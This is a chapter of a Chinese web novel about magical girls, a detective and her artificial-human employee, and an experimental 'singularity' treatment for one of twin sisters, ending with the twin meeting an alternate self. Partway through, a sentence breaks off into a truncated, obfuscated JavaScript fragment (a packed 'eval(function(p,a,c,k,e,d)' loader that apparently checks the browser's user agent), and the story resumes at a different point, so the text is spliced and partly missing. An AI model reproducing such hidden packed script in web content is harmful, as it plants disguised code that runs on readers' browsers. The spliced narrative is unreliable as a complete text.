“当然,远在我的雇主认为我‘应该找到他的时间’之前,毕竟他那时完全只知道隐藏自己的气息和血迹,到了现在跟在我身后学习了许久之后才知道怎么聪明点把自己藏起来。”启明星将拐杖组装回了原本的样子,也回归来了其原本的作用。 “那时他是什么样的,有伤到你吗?”艾克里普有些犹豫地问。 虽然启明星开枪时毫不犹豫,但艾克里普依旧担心他这样一个孩子身型的人面对天使那样的存在该如何保护自己。 “放心,他并未如野兽般伤人,他是被加速催化长大的人造人之一,未经过洗脑,没有常识也对人类没有恶意我说服他的过程非常顺利。”启明星说。 艾克里普没有再说话,她为这些人造人无法选择自己的出生以及命运感到悲伤,也为自己未能提早发现并阻止这些事情感到悲伤。 而启明星也体贴地让艾克里普安静地处理自己的情绪,她清楚自己的这位新雇主是一位真正向往和平的人,和平可贵但也贵重,她选择带着对方观看这一出也是想让对方明白幕后黑手所作所为的冰山一角。 而这时,躺在地上挣扎的人也逐渐停下来,以仰面朝上的姿势躺在地上,终于是活了过来。艾克里普才看出来这人其实并不健壮,只是骨架比寻常男性大上许多,全身上下覆盖着的肌肉让他看上去不至于像一具骨头架子。 “六十七号,站起来。”启明星确认对方该长的地方都长的差不多了之后就抬脚走上前,拄着拐杖俯视躺在地上不动的人。 “咳咳,咳咳咳呕呕——”大概是还不适应刚刚长好的气管和食管,他刚支起上半身就止不住地开始咳嗽,呛出了一些血块溅在本来就脏乱的白衬衫上。 “我让你找的东西,要交给雇主的物品呢?”启明星追问。 艾克里普有些犹豫,但最后还是没有对老板规训自己的员工进行干涉。 “咳咳——放心,拿到了。”六十七号艰难地开口说话,新生的器官尽职尽责地发出声音。 他坐在地上的缓了缓,深呼吸几下总算是平静了下来,他撑着刚刚长出来的膝盖站起身,大概和艾克里普差不多高。他一伸展关节,全身上下的骨头都在咔咔作响,声称自己存在。 六十七号,也就是刚刚站起身的人左手抬起去摸自己的脖子,动作幅度轻缓,同时右手朝自己的西装裤上唯一完好无损的口袋里掏了掏,摸出来一节小小的透明玻璃管放在手心递向启明星,能隐约看见里面装着一些黑色絮状物。 “很好。”启明星见状露出了微笑,她拿起玻璃管确认了一番,之后将其交给了艾克里普。 “这里面是被那两位战斗时溅出的血液污染的尘土,算是委托结果之一。”启明星语气低落地叹了口气,“没想到那些天使还有埋伏。六十七号,你看到了攻击你的人了吗?” “报告老板,很抱歉我没有看清,她呼吸很轻。”六十七号以颇为符合职场礼仪规范的用词与语气缓慢地回答,“不过我看见了那个人下肢并不是人类的双腿,武器是砍刀。” “听上去是杀人专精者。”启明星点了点头,看向艾克里普,“那么也请各位小心这一特征的角色吧,六十七号能成功躲藏的原因或许是对方认为他真的已经死了。” “是的,当时我让自己的心跳停下来了一会。”六十七号礼貌地自豪了一下。 “不错,看来你在控制能力上有所进步。”启明星满意地点头。 “这份样本应该能够作为某些预警手段的素材。”艾克里普确认了血液中渗透出来的魔力,心中有了推断,笑着对启明星道谢,“非常感谢您!我研究之后会将成果也带给您一份。” “那可真是再好不过了!”启明星对此非常期待,微微扶住领巾弯腰致谢。 “还有这位,六十七号先生,也非常感谢您的帮助。”艾克里普也向站在原地小幅度撕扯黏在自己身上的衣服的人道谢,她因为对方为了达成目的变成这样有些过意不去。 而听到自己的名字,那人才意识到艾克里普是在对自己说话,他转过头来愣了愣,也停下撕扯衣服碎片的动作。 “礼貌地回应!”启明星用拐杖点了点地面,六十七号才恍然大悟似的张了张嘴。 “不必道谢,这是我应该做的。”六十七号说着,以一个机械而缓慢的速度笑了。 他被额头前乱糟糟的头发挡住的眼睛也以一个合适的角度眯了起来,若是忽视对方那破烂不堪的衣着确实可以算得上是有礼。而这时艾克里普才注意到这人的头发与西西路的卷发一样隐隐发蓝,心想或许这是天使实验体的特征之一。 “嗯。”艾克里普也象征性地回应了,她在学校以外的地方鲜少与陌生人沟通,并不知道现在这种情况能说些什么,好在对方的发言很明显是礼貌地回应,不需要认真考虑回复的话,“您身体没关系吧?” “托您的福,我还能燃烧自己所剩不多的生命。”六十七号咧了咧嘴。 这让艾克里普一时不知道该怎么回应对方,她无法分辨这是对方发自真心的说法还是在不满他的工作内容,她能看到两者都有,但不知哪种更多。 “不错,这次就不把你的新衣服费用算进你的工资里了。”启明星满意地微笑着点了点头。 “老板您完全可以不买这个牌子的衣服,它楼下那家更具性价比的品牌面料也不错的。”六十七号转头看向启明星,用委婉的语气说道。 “回去之后把你遇袭的情况告诉我,还有,你的鞋子呢?”启明星忽略了刚才那句话。 “要回去了吗?鞋子应该是在附近,让我找一下。”而六十七号也很快就被转移了话题,开始四处寻找自己的鞋子,启明星皱着眉头看着他光着脚走来走去。 艾克里普意识到六十七号身上具备的礼仪都是启明星教授的,不同的是启明星那信手拈来的风度让她以孩子的外表也能够取信于人,六十七号身上的野生动物气质与那些仪表有着难以忽视的割裂感。 “需要我送你们回去吗?我也差不多该走了。”艾克里普问,她放弃追究之前的问题了。 毕竟想来六十七号可能自己都不知道自己说出的话是什么意思吧, “感谢您的关心!不过他能给我打电话就代表着现在是安全的,我们会自行返回事务所,顺便还要给他购置新衣服。”启明星摇了摇头,“希望您的事情进展得顺利,有需要请尽管联系我!” 艾克里普听罢便放心地点了点头,自行离开了。 时间回到几人分开的那一刻,犬山晓带着森山寺姐妹继续乘坐电车前往目的地站台,下车后她戴上兜帽,走在前面带路。 “我们也要戴个帽子什么的吗?”森山寺未央疑惑地问。 “这只是我的习惯,”犬山晓解释说,“你们如果不想被人看见脸也可以带。” 听闻,森山寺未央若有所思地将外套上的帽子戴在了头上,转身帮自己姐姐也戴上了。 “我们以后不会来这里吧?”森山寺未雅说着,但也没把帽子摘下来。 “戴着吧,正常来说这个时候学生应该在上课。”森山寺未央说。 这个时候市中心区域道路上人不多,道路两旁的楼里人比较多,在犬山晓带路下,她们很快就走到了目的地。 “这扇门好有实验室风格啊,我在妈妈公司见过类似的。”森山寺未央啧啧称奇,“这种在私人工作室里装的话很麻烦吧,妈妈说过光是组装人员就很难找齐。” “我也不清楚,不过这里的设备一直在更新,克拉拉可能是个人缘挺好的人吧?”犬山晓不确定地说着通过了扫描,合金门从内部缓缓打开。 “小犬山来了?”克拉拉穿着防护服从内部的消毒室里走出,行动缓慢,声音闷闷在面罩里也能透露出高兴,“新客其中一位就是受试者吧,稍等。”说完又回头进了医疗区内部。 “您好!”森山寺未央连忙打招呼。 “您好,啊回去了。”森山寺未雅看着对方头也不回地离开。 犬山晓熟门熟路地从中间的桌子下摸出圆凳子,“先坐会吧。” 二人坐下,森山寺未央明显特别紧张,但又克制不住好奇心到处打量,森山寺未雅则是似乎在思考着什么的样子撑着脑袋不说话。 “说起来,你们是第一次看见克拉拉吧。”犬山晓想起来她们在校园祭时不一定见过对方。 “是啊,克拉拉小姐看上去就像个专业的研究人员呢,这里也像小说里那种实行秘密实验的地下实验室。”森山寺未央想着那副防护服激动地说道。 “哦哦。”犬山晓意识到了这其中其实并没有太大的差距,但她没有刻意提出。 “克拉拉小姐是研究什么方面的学者呢?你们是怎么认识的呀?”森山寺未央非常好奇。 “她应该是药物研究者吧,这方面我不太了解,同时她也是我的监护人。”犬山晓回答道,“我们一开始是因为我的个人原因聚在一起合作的,相处了有一段时间了。” “这样呀。”森山寺未央回应道,她实际上还想问很多东西,但这些问题涉及到了对方的隐私,她并不想这样冒犯别人,尤其是即将要给自己姐姐治病的医生。 比如说为什么犬山晓明明有监护人在学校附近但是依旧选择住在宿舍,克拉拉是一个科研人员的话为何会选择在城市中犄角旮旯的地方建造这样的实验室而不是选择参与其它专业的大型研究中心。 监护人这个称呼更适合出现在文件上,而不是在被监护人的嘴里,但虽然犬山晓这样介绍克拉拉,二者谈话间也并不是寄宿家庭中两边的角色那样僵硬的感觉。 “克拉拉小姐对我们即将做的事情有多少的把握呢?”森山寺未雅问道。 “这个问题我没法回答你,毕竟我其实不太清楚这件事的细节,”犬山晓实话实说,“不过克拉拉似乎能理解你的问题所在,也认识那位伊提阿姨。” “那确实很可靠了,我自己都不清楚我出了什么问题。”森山寺未雅点头。 “这样的话那其实治疗方式也不知道吧,难道说要做手术吗?”森山寺未央想着一些脑部手术过程,感到毛骨悚然。 柜子里的脑部神经屏障研究论文和她说你好。 “总比进精神病院要好。”森山寺未雅倒是无所谓,她觉得现在的自己待着精神病院也挺好的,至少各方面都方便很多。 “你倒是说的轻松。”森山寺未央又低落了起来,这几天她一想到这件事整个人就会不可避免地心情低落到谷底,就像是有只手在无时不刻窥视着她,一有机会就把她绊倒。 看着姐妹二人聊天的犬山晓却是觉得很神奇,她之前也并不了解森山寺未雅,在她看来双胞胎应该是差不多的,哪怕其中一个是魔法少女也不应该有很大的差别,但眼前二人却是一眼就看得出性格上的差异。 按理来说此时正是需要紧张的时候,但森山寺姐妹二人似乎提前做好了心理准备,犬山晓也就顺势聊了起来。 “说起来,你们明明是双胞胎为什么未雅才是姐姐呢?”犬山晓好奇地问。 “出生的时候是未雅先跑出来,所以她是姐姐。”森山寺未央并不对这件事感到纠结,对她而言姐妹仅仅是一个称呼而已。 “出生的时候就确定的话,后面不会弄混了吗?”犬山晓觉得婴儿更难分辨。 “妈妈她非常善于区分我们。”森山寺未雅说着微微地笑了,犬山晓看了有些意外。 “是呀是呀,我们很小的时候就能记住事情了,所以记得很清楚,妈妈一直很清楚我们两个谁是谁。”森山寺未央对这件事很得意,“哪怕穿一样的衣服,把脸蒙住,甚至干脆躲在被子里面她都能分出来哦!” “原来是这样。”犬山晓点了点头,心里有些羡慕。 “下次哪天来我们家玩吧?”森山寺未央邀请道,“我们上次的录像带带回去之后,她们都说要邀请大家一起去开派对!” “咦?可以吗?”犬山晓一下子有些不好意思地期待了起来,她从来没拜访过谁的家,克拉拉似乎就一直住在实验室里。 “可以哦,爸爸说如果你们来的话就给我们做焦糖泡芙塔,应该是因为我们很少邀请别人去我们家里玩。”森山寺未雅也点头说。 “这可是豪华特典哦!我们生日的时候才可能会出现的!”森山寺未央推荐道,“我们还可以一起玩联机狩猎大型怪物的游戏,你们打的很烂也没关系的因为我超级强!” 焦糖泡芙塔是一个听名字就能想象出造型的豪华甜品,犬山晓也不禁在脑子里回忆起了她偶尔会在街边的甜品店橱窗里看到的半人高模型,焦糖光辉夺目,味道不知如何,但甜口圣诞树在聚光灯下亮晶晶地非常惹人注目。 犬山晓的饮食非常健康,每天摄入的糖分和盐分都是有量的,她对于甜品本身并不是非常感兴趣,但当她想象到几人一起围在那样亮晶晶的泡芙塔周围时的幸福场景,便情不自禁地对其产生了向往。 “好啊!”犬山晓笑着答应了。 就在几人谈论间,克拉拉再次从消毒室里走出,她已经脱下了身上厚重的防护服,穿着背心和裤衩披上白大褂走了出来,没有衬衫的遮掩,凸显出了她驼背的问题。 “器械准备就绪,需要治疗的是哪一位?”她扶了扶眼镜问。 “是我。”森山寺未雅适时地举起了手。 “先过来,躺在这里,”克拉拉召唤机械手推来一把构造奇异的轮椅,没有正常供人推行的把手,整体比起轮椅来说更像是一个按摩椅,但内部构造又十分简单,“一会我会给你注射药物,然后它会把你送进医疗区内,你躺着不动就行。” 森山寺未雅听罢,直接走向轮椅。 “等等等等,送进医疗区?我可以也进去吗?”森山寺未央匆忙站起。 “不行,不如说正常人都进不去,现在医疗区内部已经进入特殊状态了。”克拉拉为了自己的实验成果耐心解释。 “无论如何也进不去吗?能不能和我解释一下过程什么的?”森山寺未央没有放弃,眼巴巴地看着克拉拉,“拜托了,或者说我也可以跟着一起躺进去吗?” 克拉拉看着满脸交集的森山寺未央和一脸平静的森山寺未雅,以及看着她不说话的犬山晓,最终叹了口气。和小孩子解释科研内容实际上和投资方解释科研内容的难度差不多,她想了想,决定简单解释一下算了。 “你们的情况小犬山和我说了,说实话我无法确切地说明这次治疗对她的病情是否真的会起效,又能作用多少,这件事晓和你们说过吧?。”克拉拉说着捏了捏鼻梁,“这个药的第一个试药的是我本人,也就是说,我本人躺进去过,我还活着,所以说大不了就是无事发生,安心吧。” “你自己试药吗?这你可没说过。”犬山晓讶异地问,毕竟克拉拉看上去很珍惜自己的生命。 “毕竟情况特殊。”克拉拉敷衍地解释说。 “谢谢你,”森山寺未央道谢,但还是坚持说,“我无论如何都不能陪她一起进去吗?” 森山寺未雅看着森山寺未央,什么也没说。 “那会是无效的干扰行为,正常状态下的生物在里面无法保持清醒,那个医疗区内部的医疗仓内放着一个特异点,往常容器是封禁状态,现在打开,整个医疗区内部有意识的生物都无法保持清醒,除了被注射过药物的对象。”克拉拉直白地说, “那个药物对于普通人唯一的作用就是让人的精神不被任何因素影响,也就是抗抑郁药物的效果,通过你们的说法我认为她现在的精神状态十分特殊,和药物效果结合会有特殊的情况发生。” “我说过了,这件事直到被解决为止我都会陪着你的,”森山寺未雅开口说,“别一个人担心了。” 毕竟担心也没用就是了,这句话她没说出来。 说完,她抬脚坐进了轮椅内部。 “手搁在旁边架子上不要动。”克拉拉说着,拿起一旁的工具开始准备消毒。 森山寺未央抿着嘴看着轮椅内半躺着的森山寺未雅,而森山寺未雅也看着她。 “如果,”森山寺未央开口说,“如果你还是现在这幅样子,那该怎么办?” “…我不知道,那样不好吗?”森山寺未雅问。 “不好,”森山寺未央说,“但是如果你觉得可以的话,那也没关系,我会一直想办法的。” “想办法活下去吗?”森山寺未雅开了个不合时宜的玩笑。 “对,”森山寺未央说,“想办法让你好好活下去。” “我当然会活着。”森山寺未雅说。 犬山晓看着二人,心里有些说不上来的惆怅,她确实完全不知道森山寺未雅为何会是现在这样对一切都无所谓的状态,至少就现在而言,她也与森山寺未央一同悲伤着,但森山寺未雅却并非如此,无法感受到也不感兴趣。 这是一个悲剧,犬山晓心想,普通的姐妹都会珍惜彼此,更别提双胞胎了,她能够理解森山寺未央为何能够以此为原因成为魔法少女。 “好了,这又不是什么临终时刻,我也不是让你们签字的手术医生。”克拉拉说,她打针动作非常快,手很稳。 “接下来就只能等了吗?”犬山晓看着轮椅缓缓移动,消毒室的门关上后内部的门开启,轮椅消失在视线内。 “对。”克拉拉走到电脑旁切换到监控视角,画面内与实验室区域差不多大的医疗区非常空旷,奢侈的空间划分中,除了一处标准的手术台之外只有一些贴着墙的柜子,以及一个单人床大小的白色医疗舱。 犬山晓在这之前没有见过这种医疗器械,在她看来这更像是一个半开着的椭圆形鸡蛋,外部平整光滑,没有任何操作板或按钮,此时向上的一面为开启状态,本来应该合在上面的圆盖子浮在一旁。 按照其中的结构,原本应该是为一个人准备的内舱此时放置着一个不明物体,监控画面中看不清,只能看见那轮椅带着森山寺未央自动行驶到半开放的医疗舱旁边,随即内部抬起,将其放进了舱内,后盖子合上,彻底变成了一个椭圆。 “那个里面放置的是这个。”克拉拉在一旁的屏幕上调出一张图片给另外两个人看,“这是我偶然找到的,每个碰到它的人都会失去意识,并且醒来时失去接触到它之前不久的记忆,在我想办法封禁它之前它的影响范围在逐渐扩大,每次有人碰到它之后它的影响力又会短暂恢复原来的状况。就其物理存在情况而言我将它称为特异点,把它从原来所在的地方搬到这可不容易。” 图片中是一根算不上华丽的杖,约1.5m左 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“有啊,阿姨说她女儿生病了,不然肯定和我们玩得来,”说起这个森山寺未央神情有些悲伤,“以前她还说她女儿也在这个国家,阿姨她不怎么说话的,但是妈妈说以前她每次说话不出十句就会谈起自己的女儿的。” “她有女儿?!”克拉拉大惊失色,忽然就站了起来。 “你居然不知道吗?”犬山晓对此感到惊讶。 “不知道啊!等等,咦,好像是有那么一两次。”克拉拉忽然回忆起了什么,“她说‘我的孩子’说的原来不是她的研究成果吗?” “在你眼里她是什么形象啊?”犬山晓忍不住问道,“实在不行你就问一下啊,你们不是师生吗?” “是啊,该问一下的,”克拉拉叹气,“当时不问,现在想问也没用了。” “克拉拉小姐和伊提阿姨是多久以前认识的呢?”森山寺未央好奇地问。 “十多年前了,我高中就申请进入她的实验室,心里想着后面换也来得及就没怎么做背景调查。那个研究中心看着挺大的实际上里面都是一群神经病,我说真的有精神病的那种,不过这也不关我的事,就是平时沟通的时候得掌握技巧。我进实验室之后才知道实验室里主要干活的就我们两个人,赞助都得我帮忙拉,更别说她还玩失踪这一套,我只能自己收拾残局。”克拉拉说起这些非常平静,没什么回忆自己职业巅峰往昔的感慨,“当年我可是一代传奇,出门开会一套行头绝对不下六位数,往会议那一站想和我说话的人至少排三张桌子。” “你上次来看我们演出的那一套那种吗?确实挺适合你的。”犬山晓问,她其实能从克拉拉的一些习惯中感受到这人生活消费水平很高。 “那当然。不过谁能想到在这里我一个月都不一定出门一次,我带过来的几件都是我最喜欢的,那次出门我把能穿的都穿了。”克拉拉挠挠头,“没想到好几件都不能穿了,这里也没人能修。那个隔离服也好久没穿了,头盔里面应该先擦一下的。” “我以后也想成为这样受人景仰的科研之星。”森山寺未央非常向往这样的场面,“那克拉拉后来为什么来这了呢?因为想找到伊提阿姨吗?” “我确实是因为查到她在这个国家所以才来这里的,但后来留在这里并不是因为她,这只是一个过程,找到当然好,找不到也没关系。”克拉拉摇了摇手指,“我的目的是为我的研究取得一个耀眼的成果,为此我呕心沥血打造这个实验室并且亲自出门取材,无功而返我绝不接受。” “看不出来你还是个挺有目标的,我以为你一直待在这是想打造一个地下堡垒把自己藏起来别哪天别人找上门了。”犬山晓笑着说。 “保证安全也是必不可少的,在这一点上还得感谢Evo为我提供的帮助。”克拉拉比了个钱的手势。 “咦?你们还有那种关系吗?”森山寺未央大惊失色。 “交易只是一部分,那边能选择我的实验室作为交易对象可以说是我走狗屎运了,而且还是不需要编制的外包。”克拉拉说,“有这层关系打探消息都倍有面子。” “那您能不能?”森山寺未央眼巴巴地凑过去看着克拉拉。 “这得看你的姐姐了,她要是出来后什么事都没发生,那我就得继续按兵不动想办法找别的人试药了,”克拉拉耸耸肩,“要是能给我带来点实质性的结果,那我就可以考虑开始下一步了。” “下一步是什么?”犬山晓配合地问。 “如果我的药确实有用,算了,一切都还没法下定论,和你们说这些有什么用呢?”克拉拉叹了口气。 在克拉拉的计划中她能在自己被抓走之前发表结果就算是成功,她没有被往日的同行人理解,不过她并没有受到任何影响,除了变得足不出户。 “我们可以帮忙呀,毕竟伊提阿姨的失踪有大概率和Evo公司中的某些人有关,我们的目的是找到那些人,和你要做的事情一定程度上是重合的嘛!”森山寺未央比划着说。 “也有道理,那你们现在调查到哪了?”克拉拉想了想没否认, “还比较被动,经过一些事后我们已经脱离了起步阶段,现在正在稳定前进中。”森山寺未央委婉地说,“我们可靠的队友已经前去侦探那里寻求线索了。” “总感觉这段话很耳熟,很多年前经常听。”克拉拉若有所思地说,“不过这样来看你们这群小孩子也很努力了,如果你们哪天遇到了麻烦请别把我搬出来。” “这里是应该这样说的吗?”森山寺未央问,“您一直与Evo合作的话有什么进展吗?” “这倒确实有,”克拉拉想了想说,“一段时间前我打听到该公司有实验动物出逃,并且一直没有后续,之前的野兽伤人事件有媒体把这两件事联系起来但那边却依然没有回复。” “这不是启明星侦探那边的那件事?”犬山晓想起来对方有说过委托自己追寻目标的雇主与Evo有着一定关系,“她的雇主也是Evo那边的人才对。” “侦探怎么样我倒是无所谓,倒是Evo那边,我打听到的消息是实验动物的出逃是人为的,该公司内部有人发现了某些不该知道的秘密,并且爆发了不该有的正义感,希望那位正义人士现在还活着吧。”克拉拉无所谓地说。 “你的意思是说,Evo公司园区内并不是所有人都对于我们要查的事情一无所知吗?明明我们之前调查过园区内部找不到任何线索。”森山寺未央思索,“就等艾克里普那边带些新消息回来吧,我们得有个确切的调查方向。” “我作为外包商要保住工作没办法探查太多,但你们就不同了,亲爱的魔法少女们。”克拉拉笑嘻嘻地说,“谁都可能不知道但签字的CEO一定会知道,不过如果能把那些实验的过程报告或者结果之类的东西带给我参考一下就更好了。” “之前你不是还说别去送死来着?”犬山晓问。 “这不是没对上情报嘛,你们都能把墙给打塌了总有办法反抗一下从墙体里冒出来的机关枪吧?”克拉拉说,“也能对付没有头还会爆炸的神秘未知动物吧?” “对方可比机关枪难对付得多,不过你确实说得对,找她问问确实是个办法。”犬山晓若有所思地说,“找到了我们就问。” “那你们可千万别把我供出来。”克拉拉强调说,“如果要说的话一定记得提前打电话通知我让我准备一下消息封锁。” “好吧好吧,”森山寺未央无奈地说,她理解了眼前这位绝非能无端做出贡献的好心人,“如果我们能安全度过重重突袭和安保抵达那位CEO大人的身边并且让她乖乖回答问题的话。” “就是这样,加油吧我会一直在这里给你们加油的!”克拉拉隔着眼镜wink了一下,她的眼镜镜片太厚了,没人看得到。 有乐羽生待在自己的书房里,作业已经没有多余的可以动笔的位置了,但她还是不得不坐在座位上,因为过一会那位家教老师会来检查她的作业内容是否正确。 正确,那么就学习更多的内容,错误,那么就学习过去的内容。若是学无可学了呢?有乐羽生不认为自己能走到那一步,但此时她直接跨越中间的过程直达最终点,开始质疑起了现代教育的程序化与人类知识的用途和局限性。 就在这样的思想愈发膨胀时,她身后书房的门被敲响了,三声,轻而缓,不是那位有些急性子的家庭教师。有乐羽生意外地应声并回头看去,侍者步入书房半步,表示有来电找她。 虽然现在手机已经是默认的通讯手段了,但有乐羽生家中的内线电话还是座机,偶尔也会有外来者拨通座机号码,但那些古板者也大多不是来找有乐羽生这个孩子的。 于是,当有乐羽生在会客厅触摸到电话手柄时,她觉得自己应该做好准备,准备好迎接一个她需要记住的消息。 “羽生。”来电者是天生目清源。 “天生目阿姨,您好!”有乐羽生有些意外于对方的来电,但随即她又因此想起了西西路那被迫半途而废的自白,这令她不由得对天生目清源产生了些许愧疚感。 “那件事,你不可继续接近。”天生目清源说。 有乐羽生所处的空间因声音的停滞而沉重了起来,电话信号的另一边没有任何多余的杂音,天生目清源的声音清晰严肃,内容直白。 “发生了什么事吗?天生目阿姨。”有乐羽生没有第一时间答应。 “…你的母亲无法完全保护你,我亦然如此,得道者多助,我无法偏离道义。”天生目清源沉默许久后说,“言尽于此,孩子要多听母亲的话,保重。” 通话结束,有乐羽生放下听筒,回到了书房,似乎那只是一通普通的电话,只是她没来得及道别而已。 书本知识恒久不变,有乐羽生提笔,却发现右手异常沉重。 这不是我该做的事,她心想。 32.—··· 一墙之隔的医疗区域内,森山寺未雅平静地看着自己面前的舱门缓缓关闭,她的心里既没有恐惧也没有期待,事实上在得知药效时她一度怀疑自己是否真的需要,毕竟她一直以来都是这幅状态。视野陷入黑暗之中,但她没有闭上眼,她感受到背后的靠垫,以及身侧的一个坚硬冰冷的物体,下一刻,她感受到了一阵,模糊。 那是一种难以用语言描述的感觉,森山寺未雅感觉自己的大脑在旋转,亦或者除了大脑以外的身体在旋转,亦或者是世界在旋转,她实际上并不感到晕,就好像在高速旋转的茶杯中只有停下来后才会感觉到眩晕,而在此之前只是在旋转而已。 而这种旋转的感觉越来越快,没有慢下来的迹象,这越来越令她担心这种感觉停下来后自己会不会呕吐,这个医疗舱看上去很难清理的样子。 而就在森山寺未雅这样想着的下一瞬间,一切都静止了下来,旋转停止了,隐隐的机械运转声停止了,她并没有感受到呕吐的欲望,取而代之的是重力的错乱——她本来躺着,现在她觉得自己正在站着。 于是森山寺未雅睁开了眼,然后她意识到自己的眼睛应该从来没有闭上过才对。 眼前是一片俯瞰美景,她所处的位置大概是在某座建筑的顶层,天边偶然飘过几朵云,此时是下午太阳最夺目的时间段,日光之下一切都无所遁形,森山寺未雅接着观察,发现自己脚下的建筑正下方的景色有些眼熟。 熟悉的建筑从另一个视角看的话还是有些陌生的,但特征不变,日之森绿地河与那角落里的温室与她遥遥相望,虽然空无一人,但这里是日之森。 身处熟悉的环境让未知带来的恐慌淡去了一些,森山寺未雅开始观察四周。 按这个视角来看,森山寺未雅分析自己正站在教学楼西侧楼梯间上方的天台,也就是之前天生目白掉下去的地方,但在那之后不久这一处的天台就被完全封锁了,也装上了比人高的防护栏,现在站在天台上的人肯定是看不到这样美丽的风景了。 意识到了异常的森山寺未雅虽然没什么特别的感受,但一时之间也不知自己该做些什么。她没有忘记自己来这里的目的是为了治病,但那位可疑的研究人员显然没能注意到这奇点之内还存在着另一个世界这样大的空间吧。 “未央?”突然,森山寺未雅左侧传来了耳熟的声音,她偏过头去,看见了一张和她照镜子时能看到的一模一样的脸。 “未央?”她也这样开口,但很快,她便意识到了不对劲。 “你是,”而眼前的人却是很快就明白了现状,“森山寺未雅,也就是我自己。” 这句话说的肯定,森山寺未雅向眼前的‘森山寺未雅’,发现她面色非常地憔悴,远比这几日她看见的森山寺未央的精神状态要差,她的眼部下方黑眼圈清晰得如同另一片眉毛,瞳孔不断颤抖,眼白遍布红血丝,嘴唇干裂且隐隐渗出血,整体看上去异常消瘦,脊椎仿佛无法支撑身体一般佝偻着。 即使是这样,‘森山寺未雅’的目光依旧坚定,她看着另一个自己的出现并未感到太多惊讶,像是和森山寺未雅一般失去了感受的能力,亦或者是早就知道有这么一件事会发生。 “我确实是森山寺未雅,这里是哪里?”森山寺未雅问。 “这里是日之森,如你所见,”‘森山寺未雅’笑着回答说,那份发自内心的温和与焦急是森山寺未雅本身不具备的,“你出现在这里实际上并非是我能预料到的,但我却能隐约猜到原因,有问题的话就请问吧,我还有些时间。” 我有可能变成她这样吗?森山寺未雅不禁想到。 “我出现在这里是因为未央她希望我的精神疾病得到根治,虽然说我并不觉得我有病吧,你对此有什么头绪吗?”森山寺未雅问。 “…是的,你,或者说我们并没有什么疾病,或者说我们身上出现的问题并不是一种疾病,这也是我这次才明白的。这个问题毫无疑问只有我能回答你,那这样一看你出现在这里或许是命中注定吧。”森山寺未雅嘴角的笑容消失,转而变成一种带着怀念的哀愁,“虽然不知道你为何是这样一副态度,但我觉得这些是你必须知道的,所以接下来的话,哪怕你不感兴趣,觉得没有用,也必须要听下去并且进行思考。” 森山寺未雅听着。 “森山寺未雅和森山寺未央是双胞胎,幼年时我们在外人看来的相似实际上是森山寺未雅,也就是你我努力的成果,你我观察森山寺未央的一举一动,学习她的神情,动作,说话的方式,喜欢的东西,思考她所思考的,想念她所想念的,所以相似的并不是一对双胞胎,而是森山寺未央和一直模仿她的姐姐。你我这样的行为完全是无意识且发自本能的,所以一直以来你我将模仿森山寺未央作为常理,你我模仿的一切就是你我本身。 而之所以这样做,是因为你我对于活下去的渴望,名为森山寺未雅的人从小便没有太多的自我,没有兴趣爱好,没有能喜欢的人或讨厌的人,没有能喜欢的事情或讨厌的事情,仅仅对于活下去这件事极其渴望。”‘森山寺未雅’这样说着,她说起自己的名字像是在说另外一个人那样平静。 “说实话,我现在就是这样。”森山寺未雅说。 “但你之所以来到这里也是因为未央的想法,她察觉到了什么吧,那家伙直觉还挺准的。”‘森山寺未雅’想了想,笃定地说,“你不再渴望活下去了对吗?” “…我不知道。”森山寺未雅说。 “听了我的那些话你却并没有波动,你一定曾经被揭露过这个事实,也就是‘森山寺未雅所有的一切都源自森山寺未央’这件事,这个事实让你的存在危机爆发。潜伏于深处多年的隐患一朝破土而出是致死的,你现在的样子应该是某种魔法所为吧,可能是精神控制,是未央的魔法。”‘森山寺未雅’很快就发现了真相,她毫不犹豫地吐露。 森山寺未雅不知道对方出现在这里的原因,但对方没理由欺骗自己。 “确实如此,这个魔法被判定为没有被解除的可能性,所以我们尝试了另一种疗法,也就是从科学的角度去解决这件事,晓让我们从克拉拉那里接触了一个特异点从而让我来到了这里,克拉拉是伊提阿姨的学生,但她表示自己无法抵达这里或者无法留下记忆,不知为何我在这里睁开了眼,虽然不知道这些记忆之后能不能保存,但我唯一的目的就是解决我的精神问题。”森山寺未雅冷静地解释自己的经历。 “谁判定的?还有,晓是谁?”‘森山寺未雅’面露不解,“伊提阿姨又是谁?你没有说谎的理由,但是我已经来不及去验证这些人的身份了麻烦你说的详细点。” “艾克里普-阿尔卡纳做出的判定,晓是指犬山晓,日之森的一名学生,和未央她们一样是魔法少女。”森山寺未雅虽然不理解但还是解释了。 “艾克里普是谁?犬山晓这个人我怎么没听说过,和未央一起,这个说法。”森山寺未雅恍然大悟,“你没有成为魔法少女吗?” 森山寺未雅的脸上流露了真心实意的惊讶,但这些感情很快消逝,‘森山寺未雅’没有错过这个线索。 “我明白了,在你的世界有什么事情发生了,你和我是相同却不一样的。”‘森山寺未雅’忽然明白了什么,她察觉到了差异,瞪大眼睛看向森山寺未雅,哪怕眼睛周围因为被风吹得发干也没有眨眼,“你们的世界是不一样的,对吗?” 天台上的风吹得发了狂,仿佛要用这风声遮掩过某些不该说的秘密,森山寺未雅不知道该说什么,她感到迷茫,但‘森山寺未雅’却似乎对一切都明白了,她肩膀因激动而呼吸剧烈地上下起伏着,看着对方的表情几经转折,破碎,又重构,最后停顿在一个发自内心的微笑上。 “很抱歉,让我重新介绍这里,”‘森山寺未雅’笑着说,“这里已经发生过一次时间回溯的我们的世界,而我是唯一记得发生过什么,却什么都不被允许去做的人。 你所说的那些人并不存在于此,或者说没有来这里,你所在那个世界的到底是平行世界还是时间再次回溯的结果?为什么现在才让我知道这些?不,现在才好,才来得及,才有意义!” ‘森山寺未雅’几次深呼吸缓和了情感爆冲,森山寺未雅不理解这是怎么发生的,但她可以思考,那么她就应该去分析。 这个特异点到底是为何而存在呢?森山寺未雅忍不住开始思考这个问题。就‘森山寺未雅’的言论,她目前所看到的一切已经是时间回溯过后的模样了,那么特异点之外,也就是她原来所在的那个世界与这里的关系是什么呢? 谁能回答这些问题?森山寺未雅抬头,看见了她自己的脸。 